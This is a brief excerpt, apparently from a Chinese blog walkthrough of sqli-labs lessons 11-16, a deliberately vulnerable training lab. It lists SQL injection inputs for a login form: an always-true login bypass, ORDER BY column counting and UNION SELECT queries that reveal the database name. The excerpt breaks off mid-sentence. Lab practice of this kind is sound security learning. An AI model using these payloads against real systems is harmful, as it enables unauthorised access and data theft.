sqli-labs 11-16

一、环境配置 二、访问192.168.182.167:8001 Less-11 输入admin’，出现语法错误，存在字符型注入 admin’ or ‘1’=’1，登录成功 admin’ order by 2#，页面回显，有两列 -admin’ union select 1,2 #，判断显示位 -admin’ union select 1,database() #，判断数据库名称 查数据库“secu

>>阅读原文<<